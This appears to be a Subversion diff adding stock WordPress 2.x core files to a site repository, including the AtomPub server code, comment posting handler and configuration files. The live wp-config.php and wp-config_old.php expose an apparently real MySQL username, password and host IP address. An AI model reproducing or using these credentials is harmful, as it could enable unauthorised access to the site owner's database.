+	 * @param int $page Page ID.
+	 * @param string $post_type Optional, default is 'attachment'. Post type.
+	 */
+	function get_attachments($page = 1, $post_type = 'attachment') {
+		log_app('function',"get_attachments($page, '$post_type')");
+		$GLOBALS['post_type'] = $post_type;
+		$feed = $this->get_feed($page, $post_type);
+		$this->output($feed);
+	}
+
+	/**
+	 * Retrieve feed XML.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param int $page Page ID.
+	 * @param string $post_type Optional, default is post. Post type.
+	 * @return string
+	 */
+	function get_feed($page = 1, $post_type = 'post') {
+		global $post, $wp, $wp_query, $posts, $wpdb, $blog_id;
+		log_app('function',"get_feed($page, '$post_type')");
+		ob_start();
+
+		$this->ENTRY_PATH = $post_type;
+
+		if(!isset($page)) {
+			$page = 1;
+		}
+		$page = (int) $page;
+
+		$count = get_option('posts_per_rss');
+
+		wp('posts_per_page=' . $count . '&offset=' . ($count * ($page-1) . '&orderby=modified'));
+
+		$post = $GLOBALS['post'];
+		$posts = $GLOBALS['posts'];
+		$wp = $GLOBALS['wp'];
+		$wp_query = $GLOBALS['wp_query'];
+		$wpdb = $GLOBALS['wpdb'];
+		$blog_id = (int) $GLOBALS['blog_id'];
+		log_app('function',"query_posts(# " . print_r($wp_query, true) . "#)");
+
+		log_app('function',"total_count(# $wp_query->max_num_pages #)");
+		$last_page = $wp_query->max_num_pages;
+		$next_page = (($page + 1) > $last_page) ? NULL : $page + 1;
+		$prev_page = ($page - 1) < 1 ? NULL : $page - 1;
+		$last_page = ((int)$last_page == 1 || (int)$last_page == 0) ? NULL : (int) $last_page;
+		$self_page = $page > 1 ? $page : NULL;
+?><feed xmlns="<?php echo $this->ATOM_NS ?>" xmlns:app="<?php echo $this->ATOMPUB_NS ?>" xml:lang="<?php echo get_option('rss_language'); ?>">
+<id><?php $this->the_entries_url() ?></id>
+<updated><?php echo mysql2date('Y-m-d\TH:i:s\Z', get_lastpostmodified('GMT'), false); ?></updated>
+<title type="text"><?php bloginfo_rss('name') ?></title>
+<subtitle type="text"><?php bloginfo_rss("description") ?></subtitle>
+<link rel="first" type="<?php echo $this->ATOM_CONTENT_TYPE ?>" href="<?php $this->the_entries_url() ?>" />
+<?php if(isset($prev_page)): ?>
+<link rel="previous" type="<?php echo $this->ATOM_CONTENT_TYPE ?>" href="<?php $this->the_entries_url($prev_page) ?>" />
+<?php endif; ?>
+<?php if(isset($next_page)): ?>
+<link rel="next" type="<?php echo $this->ATOM_CONTENT_TYPE ?>" href="<?php $this->the_entries_url($next_page) ?>" />
+<?php endif; ?>
+<link rel="last" type="<?php echo $this->ATOM_CONTENT_TYPE ?>" href="<?php $this->the_entries_url($last_page) ?>" />
+<link rel="self" type="<?php echo $this->ATOM_CONTENT_TYPE ?>" href="<?php $this->the_entries_url($self_page) ?>" />
+<rights type="text">Copyright <?php echo date('Y'); ?></rights>
+<?php the_generator( 'atom' ); ?>
+<?php if ( have_posts() ) {
+			while ( have_posts() ) {
+				the_post();
+				$this->echo_entry();
+			}
+		}
+?></feed>
+<?php
+		$feed = ob_get_contents();
+		ob_end_clean();
+		return $feed;
+	}
+
+	/**
+	 * Display entry XML.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param int $postID Post ID.
+	 * @param string $post_type Optional, default is post. Post type.
+	 * @return string.
+	 */
+	function get_entry($postID, $post_type = 'post') {
+		log_app('function',"get_entry($postID, '$post_type')");
+		ob_start();
+		switch($post_type) {
+			case 'post':
+				$varname = 'p';
+				break;
+			case 'attachment':
+				$this->ENTRY_PATH = 'attachment';
+				$varname = 'attachment_id';
+				break;
+		}
+		query_posts($varname . '=' . $postID);
+		if ( have_posts() ) {
+			while ( have_posts() ) {
+				the_post();
+				$this->echo_entry();
+				log_app('$post',print_r($GLOBALS['post'],true));
+				$entry = ob_get_contents();
+				break;
+			}
+		}
+		ob_end_clean();
+
+		log_app('get_entry returning:',$entry);
+		return $entry;
+	}
+
+	/**
+	 * Display post content XML.
+	 *
+	 * @since 2.3.0
+	 */
+	function echo_entry() { ?>
+<entry xmlns="<?php echo $this->ATOM_NS ?>"
+       xmlns:app="<?php echo $this->ATOMPUB_NS ?>" xml:lang="<?php echo get_option('rss_language'); ?>">
+	<id><?php the_guid($GLOBALS['post']->ID); ?></id>
+<?php list($content_type, $content) = prep_atom_text_construct(get_the_title()); ?>
+	<title type="<?php echo $content_type ?>"><?php echo $content ?></title>
+	<updated><?php echo get_post_modified_time('Y-m-d\TH:i:s\Z', true); ?></updated>
+	<published><?php echo get_post_time('Y-m-d\TH:i:s\Z', true); ?></published>
+	<app:edited><?php echo get_post_modified_time('Y-m-d\TH:i:s\Z', true); ?></app:edited>
+	<app:control>
+		<app:draft><?php echo ($GLOBALS['post']->post_status == 'draft' ? 'yes' : 'no') ?></app:draft>
+	</app:control>
+	<author>
+		<name><?php the_author()?></name>
+<?php if ( get_the_author_meta('url') && get_the_author_meta('url') != 'http://' ) { ?>
+		<uri><?php the_author_meta('url') ?></uri>
+<?php } ?>
+	</author>
+<?php if($GLOBALS['post']->post_type == 'attachment') { ?>
+	<link rel="edit-media" href="<?php $this->the_media_url() ?>" />
+	<content type="<?php echo $GLOBALS['post']->post_mime_type ?>" src="<?php the_guid(); ?>"/>
+<?php } else { ?>
+	<link href="<?php the_permalink_rss() ?>" />
+<?php if ( strlen( $GLOBALS['post']->post_content ) ) :
+list($content_type, $content) = prep_atom_text_construct(get_the_content()); ?>
+	<content type="<?php echo $content_type ?>"><?php echo $content ?></content>
+<?php endif; ?>
+<?php } ?>
+	<link rel="edit" href="<?php $this->the_entry_url() ?>" />
+	<?php the_category_rss( 'atom' ); ?>
+<?php list($content_type, $content) = prep_atom_text_construct(get_the_excerpt()); ?>
+	<summary type="<?php echo $content_type ?>"><?php echo $content ?></summary>
+</entry>
+<?php }
+
+	/**
+	 * Set 'OK' (200) status header.
+	 *
+	 * @since 2.2.0
+	 */
+	function ok() {
+		log_app('Status','200: OK');
+		header('Content-Type: text/plain');
+		status_header('200');
+		exit;
+	}
+
+	/**
+	 * Set 'No Content' (204) status header.
+	 *
+	 * @since 2.2.0
+	 */
+	function no_content() {
+		log_app('Status','204: No Content');
+		header('Content-Type: text/plain');
+		status_header('204');
+		echo "Deleted.";
+		exit;
+	}
+
+	/**
+	 * Display 'Internal Server Error' (500) status header.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param string $msg Optional. Status string.
+	 */
+	function internal_error($msg = 'Internal Server Error') {
+		log_app('Status','500: Server Error');
+		header('Content-Type: text/plain');
+		status_header('500');
+		echo $msg;
+		exit;
+	}
+
+	/**
+	 * Set 'Bad Request' (400) status header.
+	 *
+	 * @since 2.2.0
+	 */
+	function bad_request() {
+		log_app('Status','400: Bad Request');
+		header('Content-Type: text/plain');
+		status_header('400');
+		exit;
+	}
+
+	/**
+	 * Set 'Length Required' (411) status header.
+	 *
+	 * @since 2.2.0
+	 */
+	function length_required() {
+		log_app('Status','411: Length Required');
+		header("HTTP/1.1 411 Length Required");
+		header('Content-Type: text/plain');
+		status_header('411');
+		exit;
+	}
+
+	/**
+	 * Set 'Unsupported Media Type' (415) status header.
+	 *
+	 * @since 2.2.0
+	 */
+	function invalid_media() {
+		log_app('Status','415: Unsupported Media Type');
+		header("HTTP/1.1 415 Unsupported Media Type");
+		header('Content-Type: text/plain');
+		exit;
+	}
+
+	/**
+	 * Set 'Forbidden' (403) status header.
+	 *
+	 * @since 2.6.0
+	 */
+	function forbidden($reason='') {
+		log_app('Status','403: Forbidden');
+		header('Content-Type: text/plain');
+		status_header('403');
+		echo $reason;
+		exit;
+	}
+
+	/**
+	 * Set 'Not Found' (404) status header.
+	 *
+	 * @since 2.2.0
+	 */
+	function not_found() {
+		log_app('Status','404: Not Found');
+		header('Content-Type: text/plain');
+		status_header('404');
+		exit;
+	}
+
+	/**
+	 * Set 'Not Allowed' (405) status header.
+	 *
+	 * @since 2.2.0
+	 */
+	function not_allowed($allow) {
+		log_app('Status','405: Not Allowed');
+		header('Allow: ' . join(',', $allow));
+		status_header('405');
+		exit;
+	}
+
+	/**
+	 * Display Redirect (302) content and set status headers.
+	 *
+	 * @since 2.3.0
+	 */
+	function redirect($url) {
+
+		log_app('Status','302: Redirect');
+		$escaped_url = esc_attr($url);
+		$content = <<<EOD
+<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
+<html>
+  <head>
+    <title>302 Found</title>
+  </head>
+<body>
+  <h1>Found</h1>
+  <p>The document has moved <a href="$escaped_url">here</a>.</p>
+  </body>
+</html>
+
+EOD;
+		header('HTTP/1.1 302 Moved');
+		header('Content-Type: text/html');
+		header('Location: ' . $url);
+		echo $content;
+		exit;
+
+	}
+
+	/**
+	 * Set 'Client Error' (400) status header.
+	 *
+	 * @since 2.2.0
+	 */
+	function client_error($msg = 'Client Error') {
+		log_app('Status','400: Client Error');
+		header('Content-Type: text/plain');
+		status_header('400');
+		exit;
+	}
+
+	/**
+	 * Set created status headers (201).
+	 *
+	 * Sets the 'content-type', 'content-location', and 'location'.
+	 *
+	 * @since 2.2.0
+	 */
+	function created($post_ID, $content, $post_type = 'post') {
+		log_app('created()::$post_ID',"$post_ID, $post_type");
+		$edit = $this->get_entry_url($post_ID);
+		switch($post_type) {
+			case 'post':
+				$ctloc = $this->get_entry_url($post_ID);
+				break;
+			case 'attachment':
+				$edit = $this->app_base . "attachments/$post_ID";
+				break;
+		}
+		header("Content-Type: $this->ATOM_CONTENT_TYPE");
+		if(isset($ctloc))
+			header('Content-Location: ' . $ctloc);
+		header('Location: ' . $edit);
+		status_header('201');
+		echo $content;
+		exit;
+	}
+
+	/**
+	 * Set 'Auth Required' (401) headers.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param string $msg Status header content and HTML content.
+	 */
+	function auth_required($msg) {
+		log_app('Status','401: Auth Required');
+		nocache_headers();
+		header('WWW-Authenticate: Basic realm="WordPress Atom Protocol"');
+		header("HTTP/1.1 401 $msg");
+		header('Status: 401 ' . $msg);
+		header('Content-Type: text/html');
+		$content = <<<EOD
+<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
+<html>
+  <head>
+    <title>401 Unauthorized</title>
+  </head>
+<body>
+    <h1>401 Unauthorized</h1>
+    <p>$msg</p>
+  </body>
+</html>
+
+EOD;
+		echo $content;
+		exit;
+	}
+
+	/**
+	 * Display XML and set headers with content type.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param string $xml Display feed content.
+	 * @param string $ctype Optional, default is 'atom+xml'. Feed content type.
+	 */
+	function output($xml, $ctype = 'application/atom+xml') {
+			status_header('200');
+			$xml = '<?xml version="1.0" encoding="' . strtolower(get_option('blog_charset')) . '"?>'."\n".$xml;
+			header('Connection: close');
+			header('Content-Length: '. strlen($xml));
+			header('Content-Type: ' . $ctype);
+			header('Content-Disposition: attachment; filename=atom.xml');
+			header('Date: '. date('r'));
+			if($this->do_output)
+				echo $xml;
+			log_app('function', "output:\n$xml");
+			exit;
+	}
+
+	/**
+	 * Sanitize content for database usage.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param array $array Sanitize array and multi-dimension array.
+	 */
+	function escape(&$array) {
+		global $wpdb;
+
+		foreach ($array as $k => $v) {
+				if (is_array($v)) {
+						$this->escape($array[$k]);
+				} else if (is_object($v)) {
+						//skip
+				} else {
+						$array[$k] = $wpdb->escape($v);
+				}
+		}
+	}
+
+	/**
+	 * Access credential through various methods and perform login.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @return bool
+	 */
+	function authenticate() {
+		log_app("authenticate()",print_r($_ENV, true));
+
+		// if using mod_rewrite/ENV hack
+		// http://www.besthostratings.com/articles/http-auth-php-cgi.html
+		if(isset($_SERVER['HTTP_AUTHORIZATION'])) {
+			list($_SERVER['PHP_AUTH_USER'], $_SERVER['PHP_AUTH_PW']) =
+				explode(':', base64_decode(substr($_SERVER['HTTP_AUTHORIZATION'], 6)));
+		} else if (isset($_SERVER['REDIRECT_REMOTE_USER'])) {
+			// Workaround for setups that do not forward HTTP_AUTHORIZATION
+			// See http://trac.wordpress.org/ticket/7361
+			list($_SERVER['PHP_AUTH_USER'], $_SERVER['PHP_AUTH_PW']) =
+				explode(':', base64_decode(substr($_SERVER['REDIRECT_REMOTE_USER'], 6)));
+		}
+
+		// If Basic Auth is working...
+		if(isset($_SERVER['PHP_AUTH_USER']) && isset($_SERVER['PHP_AUTH_PW'])) {
+			log_app("Basic Auth",$_SERVER['PHP_AUTH_USER']);
+		}
+
+		$user = wp_authenticate($_SERVER['PHP_AUTH_USER'], $_SERVER['PHP_AUTH_PW']);
+		if ( $user && !is_wp_error($user) ) {
+			wp_set_current_user($user->ID);
+			log_app("authenticate()", $user->user_login);
+			return true;
+		}
+
+		return false;
+	}
+
+	/**
+	 * Retrieve accepted content types.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param array $types Optional. Content Types.
+	 * @return string
+	 */
+	function get_accepted_content_type($types = null) {
+
+		if(!isset($types)) {
+			$types = $this->media_content_types;
+		}
+
+		if(!isset($_SERVER['CONTENT_LENGTH']) || !isset($_SERVER['CONTENT_TYPE'])) {
+			$this->length_required();
+		}
+
+		$type = $_SERVER['CONTENT_TYPE'];
+		list($type,$subtype) = explode('/',$type);
+		list($subtype) = explode(";",$subtype); // strip MIME parameters
+		log_app("get_accepted_content_type", "type=$type, subtype=$subtype");
+
+		foreach($types as $t) {
+			list($acceptedType,$acceptedSubtype) = explode('/',$t);
+			if($acceptedType == '*' || $acceptedType == $type) {
+				if($acceptedSubtype == '*' || $acceptedSubtype == $subtype)
+					return $type . "/" . $subtype;
+			}
+		}
+
+		$this->invalid_media();
+	}
+
+	/**
+	 * Process conditionals for posts.
+	 *
+	 * @since 2.2.0
+	 */
+	function process_conditionals() {
+
+		if(empty($this->params)) return;
+		if($_SERVER['REQUEST_METHOD'] == 'DELETE') return;
+
+		switch($this->params[0]) {
+			case $this->ENTRY_PATH:
+				global $post;
+				$post = wp_get_single_post($this->params[1]);
+				$wp_last_modified = get_post_modified_time('D, d M Y H:i:s', true);
+				$post = NULL;
+				break;
+			case $this->ENTRIES_PATH:
+				$wp_last_modified = mysql2date('D, d M Y H:i:s', get_lastpostmodified('GMT'), 0).' GMT';
+				break;
+			default:
+				return;
+		}
+		$wp_etag = md5($wp_last_modified);
+		@header("Last-Modified: $wp_last_modified");
+		@header("ETag: $wp_etag");
+
+		// Support for Conditional GET
+		if (isset($_SERVER['HTTP_IF_NONE_MATCH']))
+			$client_etag = stripslashes($_SERVER['HTTP_IF_NONE_MATCH']);
+		else
+			$client_etag = false;
+
+		$client_last_modified = trim( $_SERVER['HTTP_IF_MODIFIED_SINCE']);
+		// If string is empty, return 0. If not, attempt to parse into a timestamp
+		$client_modified_timestamp = $client_last_modified ? strtotime($client_last_modified) : 0;
+
+		// Make a timestamp for our most recent modification...
+		$wp_modified_timestamp = strtotime($wp_last_modified);
+
+		if ( ($client_last_modified && $client_etag) ?
+		(($client_modified_timestamp >= $wp_modified_timestamp) && ($client_etag == $wp_etag)) :
+		(($client_modified_timestamp >= $wp_modified_timestamp) || ($client_etag == $wp_etag)) ) {
+			status_header( 304 );
+			exit;
+		}
+	}
+
+	/**
+	 * Convert RFC3339 time string to timestamp.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string $str String to time.
+	 * @return bool|int false if format is incorrect.
+	 */
+	function rfc3339_str2time($str) {
+
+		$match = false;
+		if(!preg_match("/(\d{4}-\d{2}-\d{2})T(\d{2}\:\d{2}\:\d{2})\.?\d{0,3}(Z|[+-]+\d{2}\:\d{2})/", $str, $match))
+			return false;
+
+		if($match[3] == 'Z')
+			$match[3] == '+0000';
+
+		return strtotime($match[1] . " " . $match[2] . " " . $match[3]);
+	}
+
+	/**
+	 * Retrieve published time to display in XML.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string $published Time string.
+	 * @return string
+	 */
+	function get_publish_time($published) {
+
+		$pubtime = $this->rfc3339_str2time($published);
+
+		if(!$pubtime) {
+			return array(current_time('mysql'),current_time('mysql',1));
+		} else {
+			return array(date("Y-m-d H:i:s", $pubtime), gmdate("Y-m-d H:i:s", $pubtime));
+		}
+	}
+
+}
+
+/**
+ * AtomServer
+ * @var AtomServer
+ * @global object $server
+ */
+$server = new AtomServer();
+$server->handle_request();
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-atom.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-atom.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-atom.php	(revision 44)
@@ -0,0 +1,12 @@
+<?php
+/**
+ * Redirects to the Atom feed
+ * This file is deprecated and only exists for backwards compatibility
+ *
+ * @package WordPress
+ */
+
+require( './wp-load.php' );
+wp_redirect( get_bloginfo( 'atom_url' ), 301 );
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-blog-header.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-blog-header.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-blog-header.php	(revision 44)
@@ -0,0 +1,20 @@
+<?php
+/**
+ * Loads the WordPress environment and template.
+ *
+ * @package WordPress
+ */
+
+if ( !isset($wp_did_header) ) {
+
+	$wp_did_header = true;
+
+	require_once( dirname(__FILE__) . '/wp-load.php' );
+
+	wp();
+
+	require_once( ABSPATH . WPINC . '/template-loader.php' );
+
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-comments-post.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-comments-post.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-comments-post.php	(revision 44)
@@ -0,0 +1,92 @@
+<?php
+/**
+ * Handles Comment Post to WordPress and prevents duplicate comment posting.
+ *
+ * @package WordPress
+ */
+
+if ( 'POST' != $_SERVER['REQUEST_METHOD'] ) {
+	header('Allow: POST');
+	header('HTTP/1.1 405 Method Not Allowed');
+	header('Content-Type: text/plain');
+	exit;
+}
+
+/** Sets up the WordPress Environment. */
+require( dirname(__FILE__) . '/wp-load.php' );
+
+nocache_headers();
+
+$comment_post_ID = (int) $_POST['comment_post_ID'];
+
+$status = $wpdb->get_row( $wpdb->prepare("SELECT post_status, comment_status FROM $wpdb->posts WHERE ID = %d", $comment_post_ID) );
+
+if ( empty($status->comment_status) ) {
+	do_action('comment_id_not_found', $comment_post_ID);
+	exit;
+} elseif ( !comments_open($comment_post_ID) ) {
+	do_action('comment_closed', $comment_post_ID);
+	wp_die( __('Sorry, comments are closed for this item.') );
+} elseif ( in_array($status->post_status, array('draft', 'pending') ) ) {
+	do_action('comment_on_draft', $comment_post_ID);
+	exit;
+} else {
+	do_action('pre_comment_on_post', $comment_post_ID);
+}
+
+$comment_author       = ( isset($_POST['author']) )  ? trim(strip_tags($_POST['author'])) : null;
+$comment_author_email = ( isset($_POST['email']) )   ? trim($_POST['email']) : null;
+$comment_author_url   = ( isset($_POST['url']) )     ? trim($_POST['url']) : null;
+$comment_content      = ( isset($_POST['comment']) ) ? trim($_POST['comment']) : null;
+
+// If the user is logged in
+$user = wp_get_current_user();
+if ( $user->ID ) {
+	if ( empty( $user->display_name ) )
+		$user->display_name=$user->user_login;
+	$comment_author       = $wpdb->escape($user->display_name);
+	$comment_author_email = $wpdb->escape($user->user_email);
+	$comment_author_url   = $wpdb->escape($user->user_url);
+	if ( current_user_can('unfiltered_html') ) {
+		if ( wp_create_nonce('unfiltered-html-comment_' . $comment_post_ID) != $_POST['_wp_unfiltered_html_comment'] ) {
+			kses_remove_filters(); // start with a clean slate
+			kses_init_filters(); // set up the filters
+		}
+	}
+} else {
+	if ( get_option('comment_registration') || 'private' == $status->post_status )
+		wp_die( __('Sorry, you must be logged in to post a comment.') );
+}
+
+$comment_type = '';
+
+if ( get_option('require_name_email') && !$user->ID ) {
+	if ( 6 > strlen($comment_author_email) || '' == $comment_author )
+		wp_die( __('Error: please fill the required fields (name, email).') );
+	elseif ( !is_email($comment_author_email))
+		wp_die( __('Error: please enter a valid email address.') );
+}
+
+if ( '' == $comment_content )
+	wp_die( __('Error: please type a comment.') );
+
+$comment_parent = isset($_POST['comment_parent']) ? absint($_POST['comment_parent']) : 0;
+
+$commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content', 'comment_type', 'comment_parent', 'user_ID');
+
+$comment_id = wp_new_comment( $commentdata );
+
+$comment = get_comment($comment_id);
+if ( !$user->ID ) {
+	$comment_cookie_lifetime = apply_filters('comment_cookie_lifetime', 30000000);
+	setcookie('comment_author_' . COOKIEHASH, $comment->comment_author, time() + $comment_cookie_lifetime, COOKIEPATH, COOKIE_DOMAIN);
+	setcookie('comment_author_email_' . COOKIEHASH, $comment->comment_author_email, time() + $comment_cookie_lifetime, COOKIEPATH, COOKIE_DOMAIN);
+	setcookie('comment_author_url_' . COOKIEHASH, esc_url($comment->comment_author_url), time() + $comment_cookie_lifetime, COOKIEPATH, COOKIE_DOMAIN);
+}
+
+$location = empty($_POST['redirect_to']) ? get_comment_link($comment_id) : $_POST['redirect_to'] . '#comment-' . $comment_id;
+$location = apply_filters('comment_post_redirect', $location, $comment);
+
+wp_redirect($location);
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-commentsrss2.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-commentsrss2.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-commentsrss2.php	(revision 44)
@@ -0,0 +1,12 @@
+<?php
+/**
+ * Redirects to the Comments RSS2 feed
+ * This file is deprecated and only exists for backwards compatibility
+ *
+ * @package WordPress
+ */
+
+require( './wp-load.php' );
+wp_redirect( get_bloginfo( 'comments_rss2_url' ), 301 );
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-config-sample.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-config-sample.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-config-sample.php	(revision 44)
@@ -0,0 +1,80 @@
+<?php
+/**
+ * Configurazioni di base di WordPress.
+ *
+ * Questo file contiene le seguenti configurazioni: Impostazioni MySQL,
+ * Prefisso tabella, Chiavi Segrete, Lingua di WordPress e ABSPATH.
+ + E' possibile trovare maggiori informazioni visitando la pagina del Codex
+ + {@link http://codex.wordpress.org/Editing_wp-config.php Editing wp-config.php}.
+ + E' possibile ottenere le impostazioni MySQL dal proprio web host.
+ *
+ * Questo file viene utilizato dallo script wp-config.php durante le fasi di
+ * installazione. Non è necessario utilizzare il sito web, è possibile semplicemente
+ + copiare questo file in "wp-config.php" e inserire i vari parametri.
+ *
+ * @package WordPress
+ */
+
+// ** Impostazioni MySQL - E' possibile ottenere le impostazioni MySQL dal proprio web host ** //
+/** Il nome del database per WordPress */
+define('DB_NAME', 'putyourdbnamehere');
+
+/** Nome utente database MySQL */
+define('DB_USER', 'usernamehere');
+
+/** Password database MySQL */
+define('DB_PASSWORD', 'yourpasswordhere');
+
+/** hostname MySQL */
+define('DB_HOST', 'localhost');
+
+/** Database Charset da utilizzare nella creazione delle tabelle del database. */
+define('DB_CHARSET', 'utf8');
+
+/** Il tipo di Database Collation. Da non modificare in caso di dubbi. */
+define('DB_COLLATE', '');
+
+/**#@+
+ * Chiavi univoche di identificazione.
+ *
+ * Modificarle con differenti frasi univoche!
+ * E' possibile generarle utilizzando il link {@link https://api.wordpress.org/secret-key/1.1/ WordPress.org secret-key service}
+ * E' possibile cambiarele in qualsiasi momento per invalidare tutto i cookie esistenti. Ciò obbligherà gli utenti a effettuare nuovamente il login.
+ *
+ * @since 2.6.0
+ */
+define('AUTH_KEY', 'put your unique phrase here');
+define('SECURE_AUTH_KEY', 'put your unique phrase here');
+define('LOGGED_IN_KEY', 'put your unique phrase here');
+define('NONCE_KEY', 'put your unique phrase here');
+/**#@-*/
+
+/**
+ * Prefisso tabella database WordPress.
+ *
+ * E' possibile avere installazioni multiple su un singolo database impostando
+ + per ciascuna installazione un prefizzo univoco.
+ * Solo numeri. lettere e carattere di sottolineatura!
+ */
+$table_prefix  = 'wp_';
+
+/**
+ * Lingua di localizzazione di WordPress, valore predefinito: Inglese.
+ *
+ * Modificare questa voce per localizare WordPress. Occorre sia instllato un
+ + file MO corrispondente alla lingua scelta posto all'interno della directory
+ * wp-content/languages. Ad esempio, installare de.mo in wp-content/languages
+ + e impostare WPLANG a 'de' per abilitare la lingua Tedesca
+ * language support.
+ */
+define ('WPLANG', 'it_IT');
+
+/* Niente altro, configurazione terminata! Buon blogging. */
+
+/** WordPress absolute path to the Wordpress directory. */
+if ( !defined('ABSPATH') )
+	define('ABSPATH', dirname(__FILE__) . '/');
+
+/** Sets up WordPress vars and included files. */
+require_once(ABSPATH . 'wp-settings.php');
+?>
Index: /trunk/www.guidonia.net/wp/wp-config.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-config.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-config.php	(revision 44)
@@ -0,0 +1,77 @@
+<?php
+/** 
+ * The base configurations of the WordPress.
+ *
+ * This file has the following configurations: MySQL settings, Table Prefix,
+ * Secret Keys, WordPress Language, and ABSPATH. You can find more information by
+ * visiting {@link http://codex.wordpress.org/Editing_wp-config.php Editing
+ * wp-config.php} Codex page. You can get the MySQL settings from your web host.
+ *
+ * This file is used by the wp-config.php creation script during the
+ * installation. You don't have to use the web site, you can just copy this file
+ * to "wp-config.php" and fill in the values.
+ *
+ * @package WordPress
+ */
+
+// ** MySQL settings - You can get this info from your web host ** //
+/** The name of the database for WordPress */
+define('WP_CACHE', true); //Added by WP-Cache Manager
+define('DB_NAME', 'Sql209019_2');
+
+/** MySQL database username */
+define('DB_USER', 'Sql209019');
+
+/** MySQL database password */
+define('DB_PASSWORD', '2c6f8477');
+
+/** MySQL hostname */
+define('DB_HOST', '62.149.150.81');
+
+/** Database Charset to use in creating database tables. */
+define('DB_CHARSET', 'utf8');
+
+/** The Database Collate type. Don't change this if in doubt. */
+define('DB_COLLATE', '');
+
+/**#@+
+ * Authentication Unique Keys.
+ *
+ * Change these to different unique phrases!
+ * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/ WordPress.org secret-key service}
+ *
+ * @since 2.6.0
+ */
+define('AUTH_KEY', 'put your unique phrase here');
+define('SECURE_AUTH_KEY', 'put your unique phrase here');
+define('LOGGED_IN_KEY', 'put your unique phrase here');
+define('NONCE_KEY', 'put your unique phrase here');
+/**#@-*/
+
+/**
+ * WordPress Database Table prefix.
+ *
+ * You can have multiple installations in one database if you give each a unique
+ * prefix. Only numbers, letters, and underscores please!
+ */
+$table_prefix  = 'wp_';
+
+/**
+ * WordPress Localized Language, defaults to English.
+ *
+ * Change this to localize WordPress.  A corresponding MO file for the chosen
+ * language must be installed to wp-content/languages. For example, install
+ * de.mo to wp-content/languages and set WPLANG to 'de' to enable German
+ * language support.
+ */
+define ('WPLANG', 'it_IT');
+
+/* That's all, stop editing! Happy blogging. */
+
+/** WordPress absolute path to the Wordpress directory. */
+if ( !defined('ABSPATH') )
+	define('ABSPATH', dirname(__FILE__) . '/');
+
+/** Sets up WordPress vars and included files. */
+require_once(ABSPATH . 'wp-settings.php');
+?>
Index: /trunk/www.guidonia.net/wp/wp-config_old.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-config_old.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-config_old.php	(revision 44)
@@ -0,0 +1,76 @@
+<?php
+/** 
+ * The base configurations of the WordPress.
+ *
+ * This file has the following configurations: MySQL settings, Table Prefix,
+ * Secret Keys, WordPress Language, and ABSPATH. You can find more information by
+ * visiting {@link http://codex.wordpress.org/Editing_wp-config.php Editing
+ * wp-config.php} Codex page. You can get the MySQL settings from your web host.
+ *
+ * This file is used by the wp-config.php creation script during the
+ * installation. You don't have to use the web site, you can just copy this file
+ * to "wp-config.php" and fill in the values.
+ *
+ * @package WordPress
+ */
+
+// ** MySQL settings - You can get this info from your web host ** //
+/** The name of the database for WordPress */
+define('DB_NAME', 'Sql209019_1');
+
+/** MySQL database username */
+define('DB_USER', 'Sql209019');
+
+/** MySQL database password */
+define('DB_PASSWORD', '2c6f8477');
+
+/** MySQL hostname */
+define('DB_HOST', '62.149.150.81');
+
+/** Database Charset to use in creating database tables. */
+define('DB_CHARSET', 'utf8');
+
+/** The Database Collate type. Don't change this if in doubt. */
+define('DB_COLLATE', '');
+
+/**#@+
+ * Authentication Unique Keys.
+ *
+ * Change these to different unique phrases!
+ * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/ WordPress.org secret-key service}
+ *
+ * @since 2.6.0
+ */
+define('AUTH_KEY', 'put your unique phrase here');
+define('SECURE_AUTH_KEY', 'put your unique phrase here');
+define('LOGGED_IN_KEY', 'put your unique phrase here');
+define('NONCE_KEY', 'put your unique phrase here');
+/**#@-*/
+
+/**
+ * WordPress Database Table prefix.
+ *
+ * You can have multiple installations in one database if you give each a unique
+ * prefix. Only numbers, letters, and underscores please!
+ */
+$table_prefix  = 'wp_';
+
+/**
+ * WordPress Localized Language, defaults to English.
+ *
+ * Change this to localize WordPress.  A corresponding MO file for the chosen
+ * language must be installed to wp-content/languages. For example, install
+ * de.mo to wp-content/languages and set WPLANG to 'de' to enable German
+ * language support.
+ */
+define ('WPLANG', 'IT');
+
+/* That's all, stop editing! Happy blogging. */
+
+/** WordPress absolute path to the Wordpress directory. */
+if ( !defined('ABSPATH') )
+	define('ABSPATH', dirname(__FILE__) . '/');
+
+/** Sets up WordPress vars and included files. */
+require_once(ABSPATH . 'wp-settings.php');
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/gt-cache/ar/_wp__p=6289&lang=ar
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/gt-cache/ar/_wp__p=6289&lang=ar	(revision 44)
